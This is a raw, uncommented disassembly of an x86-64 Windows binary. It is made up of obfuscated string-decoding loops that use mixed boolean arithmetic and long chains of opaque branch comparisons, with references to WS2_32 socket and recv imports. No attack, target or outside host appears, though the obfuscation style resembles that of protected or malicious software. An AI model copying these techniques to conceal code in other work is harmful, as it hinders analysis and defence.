mov byte [rbp + 0xdfc], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xdfd], Ordinal_45
mov byte [rbp + 0xdfe], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xdff], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xe00], 0x5e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe01], xmm0
mov qword [rbp + 0xe11], rax
mov word [rbp + 0xe19], ax
movabs r14, 0x1d0fa380e970b727
movabs r15, 0x3a42f118524b97b9
movabs r12, 0xd5f84f3cce593d23
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
movabs rcx, 0x322550edc1f92d4b
cmp rbx, 0x23
jae 0x14008693a
movzx r11d, byte [rbp + rbx + 0xdf8]
mov rdx, r11
cmp r8, rbx
ja 0x14008692e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140085c21
add rcx, rbx
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0xd
jmp 0x140085c50
je 0x1400868a4
inc rax
cmp r8, rax
je 0x14008683c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400867e6
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008678e
nop dword [rax]
cmp r9, rbx
ja 0x140086922
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x140085c7e
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x11
add r10b, dl
jmp 0x140085cc0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14008676c
lea rax, [r9 + 3]
cmp r8, rax
je 0x140086742
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008670b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400866d6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400866ae
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140086355
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14008632f
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400862fd
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400862ce
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400862ab
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140086282
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008624d
lea rcx, [r9 + 4]
cmp r8, rcx
je 0x140086225
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140086201
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400861cb
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140085cd0
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400868fd
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1400868d8
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x140085ec6
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x140085ea7
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x140085e88
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x140086168
lea rcx, [r9 + 0x20]
cmp r8, rcx
jb 0x140086103
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400860b0
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140086080
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140085cd0
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x140086046
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x14008601d
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x140085ff4
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x140085fbf
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x140085f9a
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x140085f75
lea rcx, [r9 + 0x3e8]
cmp r8, rcx
ja 0x140085f4a
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140085f1d
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140085ef7
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140085cd0
mov r8, rcx
lea r9, [rcx + 0x400]
jmp 0x140085cd0
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xf
add r10b, dl
jmp 0x140085cc0
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xb
add r10b, dl
jmp 0x140085c50
movabs rdx, 0x71adad614a66e28d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x25
add r10b, dl
movabs rcx, 0x322550edc1f92d4b
jmp 0x140085bef
movabs rdx, 0xe87d1c074b85b938
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400867ae
movabs rcx, 0x84327a2bc7935ea2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
inc r9
dec rbx
inc rbx
jmp 0x140085bd2
movabs rcx, 0x1fe7d85043a1040c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x54
dec rbx
inc rbx
jmp 0x140085bd2
movabs rdx, 0xbb9d3674bfaea976
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3a
jmp 0x14008664f
movabs rcx, 0x575294993bbc4ee0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
jmp 0x14008672a
movabs rcx, 0xf307f2bdb7c9f44a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 6
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085bd2
movabs rdx, 0x8ebd50e233d799b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140086807
movabs rdx, 0x2a72af06afe53f1e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008685e
movabs rdx, 0xc6280d2b2bf2e488
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xdf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085bd2
movabs rcx, 0xcb6d788662150211
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x77
mov byte [rbp + rbx + 0xdf8], r10b
inc rbx
jmp 0x140085bd2
movabs rdx, 0x6722d6aade22a77b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5d
add r10b, dl
cmp r9, 0x41
jb 0x1400860a0
movabs rdx, 0xfade3ebb49480be2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x5c]
jmp 0x1400867b1
movabs rdx, 0x2d834cf5a304ce5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x43
add r10b, dl
cmp r8, 0x80
jae 0x140086627
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140086556
movabs rdx, 0xff3ec2821d08206
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2a
jmp 0x1400860d0
movabs rdx, 0x9e8d92f3d63df24f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x29
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x14008667e
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14008648f
movabs rdx, 0xf2e448a7385fcadf
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x19
jmp 0x140086123
movabs rcx, 0xae5dd50578a44aea
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x66
movzx eax, byte [rbp + rbx + 0xdf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085bd2
movabs rcx, 0x4a133329f4b1f054
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x14008685e
movabs rdx, 0xe5c8914e70bf95be
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x32
add r10b, dl
jmp 0x140086807
movabs rcx, 0x817def72eccd3b28
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085bd2
movabs rdx, 0x1d334d9768dae092
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008672a
movabs rdx, 0xb8e8abbbe4e885fc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14008664c
movabs rdx, 0x549e09e060f62b66
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140085bd2
movabs rdx, 0xf0536804dd03d0d0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140085bd2
movabs rdx, 0x8c08c6295911763a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400867ae
lea rax, [r9 + 4]
cmp r8, rax
jae 0x140086383
movabs rdx, 0x322550edc1f92d4b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xd
jmp 0x140086188
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400863c2
movabs rcx, 0x3a1f4701d2e16e4e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x22
movzx eax, byte [rbp + rbx + 0xdf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085bd2
inc rax
cmp r8, rax
jne 0x1400863f2
movabs rdx, 0x2b48ab8dac6237a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x56
add r10b, dl
jmp 0x140086807
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140086424
movabs rdx, 0x2f94704b669d333c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140086652
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008645c
movabs rdx, 0x93df1226ea8f8dd2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140085bd2
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008618b
movabs rdx, 0x5c7455ddf27442fe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400867ae
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400864bd
movabs rdx, 0x572eea82bc522575
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x33
jmp 0x1400867ae
inc rax
cmp r8, rax
jne 0x1400864f3
movabs rcx, 0xbb798c5e4044800b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4d
inc r9
dec rbx
inc rbx
jmp 0x140085bd2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140086521
movabs rcx, 0xe85971f0cc1b8fcd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x65
jmp 0x14008672a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140086126
movabs rdx, 0x1539578357f29f8f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x17
add r10b, dl
jmp 0x14008685e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140086595
movabs rcx, 0x743e8e03a5c2dc9c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x44
movzx eax, byte [rbp + rbx + 0xdf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085bd2
inc rax
cmp r8, rax
jne 0x1400865c5
movabs rdx, 0xd8892fdf29b53732
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5e
add r10b, dl
jmp 0x14008685e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400865f6
movabs rdx, 0x3cd3d1baada791c8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
add r10b, dl
jmp 0x140086807
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400860d3
movabs rcx, 0x96939cdfc555b14c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x1400867b1
movabs rdx, 0x5f28e096cd3a6678
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xdf8]
sub r10b, al
sub r10b, 0x48
add r10b, r11b
add r10b, dl
movabs rcx, 0x914e31848f3393c3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x55
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xdf8], cl
jmp 0x14008672a
movabs rdx, 0xc3738272512cc10e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xdf8]
sub r10b, 0x62
add r10b, dl
jmp 0x140086807
movabs rdx, 0xdb1a108185113141
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x39
add r10b, dl
jmp 0x140086807
movabs rcx, 0x76cf6ea6011ed6ab
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x53
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085bd2
movabs rcx, 0x1284ccca7d2c7c15
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085bd2
movabs rcx, 0x49ef89137547c6e9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
dec rbx
inc rbx
jmp 0x140085bd2
movabs rdx, 0x815a455c6d6311bd
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2b
jmp 0x1400867ae
movabs rdx, 0xb8c501a5657e5c91
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 9
add r10b, dl
movabs rcx, 0x2d038fa90b41392d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x3b
add r11b, cl
mov byte [rbp + rbx + 0xdf8], r11b
inc r9
dec rbx
inc rbx
jmp 0x140085bd2
mov r11, rdx
movabs rcx, 0x5f0536804dd03d0d
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x5b
movabs rdx, 0xf598d3601325ee59
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x6f
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xdf8], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14008685e
movabs rcx, 0xfaba94a4c9dde277
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x41
movzx r11d, dl
movabs rcx, 0x27be244dd51f1ba4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r11b
mov byte [rbp + rbx + 0xdf8], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xdf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085bd2
movabs rcx, 0x966ff2c945eb87e1
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x27
movzx eax, byte [rbp + rbx + 0xdf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085bd2
movabs rcx, 0xd630b85c67487f7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x3f
jmp 0x140085bce
movabs rcx, 0xa91869aa42822d61
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x59
jmp 0x140085bb5
lea rcx, [rbp + 0x16a7c5c]
jmp 0x140086941
lea rcx, [rbp + 0x63a9a7]
jmp 0x140086941
lea rcx, [rbp + 0xdf8]
mov dword [rbp + 0x1000], 0x2710
mov dword [rbp + 0x1008], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1000]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1008]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xe20], 0xed
mov byte [rbp + 0xe21], Ordinal_45
mov byte [rbp + 0xe22], 0xf4
mov byte [rbp + 0xe23], 0xbe
mov byte [rbp + 0xe24], 0x5e
mov byte [rbp + 0xe25], 0x62
mov byte [rbp + 0xe26], Ordinal_79
mov byte [rbp + 0xe27], 0x5a
mov byte [rbp + 0xe28], 0xee
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe29], xmm0
mov qword [rbp + 0xe39], rax
mov word [rbp + 0xe41], ax
movabs rdi, 0x5efbc4ba36961d01
movabs rsi, 0xfacb9c3e44bd091f
movabs r15, 0xd3c2d89b272bb83d
movabs r14, 0x5345eb07f66598a5
movabs r12, 0xabc039d1a80e282b
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140087858
movzx r11d, byte [rbp + rbx + 0xe20]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008784c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140086a80
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x55
jmp 0x140086ac6
je 0x1400877c5
inc rax
cmp r8, rax
je 0x140087731
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400876fe
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400876c7
lea rax, [r9 + 6]
cmp r8, rax
je 0x140087666
lea rax, [r9 + 7]
cmp r8, rax
je 0x140087639
cmp r9, rbx
ja 0x140087840
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140086af4
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 7
jmp 0x140086b20
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400875e8
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400875b1
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008757d
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400871af
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008718b
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140087159
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008712f
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008710b
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400870cf
lea rcx, [r9 + 0x2a]
cmp r8, rcx
je 0x14008709b
lea rax, [r9 + 4]
cmp r8, rax
je 0x140087077
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14008704e
lea rax, [r9 + 3]
cmp r8, rax
je 0x140087019
lea rax, [r9 + 8]
cmp r8, rax
je 0x140086b30
mov r8, rcx
lea r9, [rcx + 2]
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x14008781c
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1400877f8
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140086d1c
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x140086d01
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x140086ce2
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x140086fb9
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x140086f5a
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x140086f0b
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x140086edc
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x140086b30
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140086ea2
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140086e79
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140086e55
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140086e1c
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140086de0
lea rcx, [r9 + 0x61]
cmp r8, rcx
ja 0x140086dbc
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140086d8d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140086d5b
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140086d37
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140086b30
mov r8, rcx
lea r9, [rcx + 0x41]
jmp 0x140086b30
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x27
add r10b, dl
jmp 0x140086b20
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
jmp 0x140086ac6
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
jmp 0x140086a45
movabs rcx, 0xf7de25d1b4b0e808
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x140087607
movabs rdx, 0x5058749b6659778e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140086a32
movabs rdx, 0xa8d2c36518020714
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140086a32
movabs rcx, 0x14d122ec9aa969a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x140087685
movabs rdx, 0x59c760f87b532620
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
movabs rdx, 0xb241afc22cfbb5a6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
movabs rcx, 0xabbfe8bdea4452c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x34
jmp 0x14008774f
movabs rdx, 0x63364d55904cd4b2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008777f
movabs rdx, 0xbbb09c1f41f56438
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xe20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086a32
movabs rcx, 0x98e261177e1acb07
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x31
mov byte [rbp + rbx + 0xe20], r10b
inc rbx
jmp 0x140086a32
movabs rcx, 0xf15cafe12fc35a8d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x25
cmp r9, 0x80
jb 0x140086efb
movabs rcx, 0x5fa24dd19b6b684e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x44]
jmp 0x140087607
movabs rcx, 0x49d6feaae16bea13
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7b
cmp r8, 0x10
jae 0x14008751c
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x140087436
movabs rdx, 0xd46961b28c01038a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140086f2a
movabs rcx, 0xa2514d7493147999
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2f
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x14008754c
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400872ef
movabs rcx, 0x756d9cf8556ae689
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
jmp 0x140086f79
movabs rcx, 0x39e69c5d4784ae06
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
movzx eax, byte [rbp + rbx + 0xe20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086a32
movabs rdx, 0x9260eb26f92d3d8c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008777f
movabs rcx, 0xeadb39f0aad5cd12
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
jmp 0x14008774f
movabs rcx, 0x435588ba5c7e5c98
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
movabs rdx, 0x9bcfd7840e26ec1e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
movabs rcx, 0xf44a264dbfcf7ba4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x140087685
movabs rcx, 0x4cc4751771780b2a
add rcx, rbx
movzx eax, cl
